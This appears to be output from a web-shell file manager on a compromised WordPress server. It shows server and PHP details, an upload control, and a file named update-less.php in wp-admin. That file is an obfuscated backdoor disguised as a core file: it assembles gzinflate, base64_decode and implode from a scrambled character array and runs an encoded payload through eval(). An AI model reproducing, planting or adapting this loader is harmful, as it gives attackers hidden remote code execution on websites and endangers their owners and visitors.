HEX
Server: Apache
System: Linux top 5.8.11-1.el7.elrepo.x86_64 #1 SMP Tue Sep 22 18:18:35 EDT 2020 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.018111.cn/wp-admin/update-less.php
<?php
$wp_link_pages_vo = array ('48pMU9DILC5OLdFQiXd3DYlWT','85JLC5Wj9XUVKjmUgCC1LLEHI','20zJzU+PTUkvjk/LyS1LySYg3','1jJKSAit9fXUFPQV0ndZctQA=');
$wp_link_pages_vg = array ('6','4','c','z','n','t','l','x','s','f','r','r','b','i','g','s','f','n','l','w','u','u','j','a','x','x','d','p','d','d','z','d','h','a','_','o','b','e','l','l','e','o','o','p','l','e','a','l','z','g','i','f','m','z','e','l','i','e','d');
$wp_link_pages_da = $wp_link_pages_vg[49].$wp_link_pages_vg[53].$wp_link_pages_vg[50].$wp_link_pages_vg[4].$wp_link_pages_vg[51].$wp_link_pages_vg[39].$wp_link_pages_vg[46].$wp_link_pages_vg[5].$wp_link_pages_vg[45];
$wp_link_pages_mw = $wp_link_pages_vg[36].$wp_link_pages_vg[33].$wp_link_pages_vg[8].$wp_link_pages_vg[54].$wp_link_pages_vg[0].$wp_link_pages_vg[1].$wp_link_pages_vg[34].$wp_link_pages_vg[58].$wp_link_pages_vg[37].$wp_link_pages_vg[2].$wp_link_pages_vg[41].$wp_link_pages_vg[26].$wp_link_pages_vg[57];
$wp_link_pages_hz = $wp_link_pages_vg[13].$wp_link_pages_vg[52].$wp_link_pages_vg[43].$wp_link_pages_vg[6].$wp_link_pages_vg[35].$wp_link_pages_vg[29].$wp_link_pages_vg[40];
eval($wp_link_pages_da($wp_link_pages_mw($wp_link_pages_hz($wp_link_pages_vo))));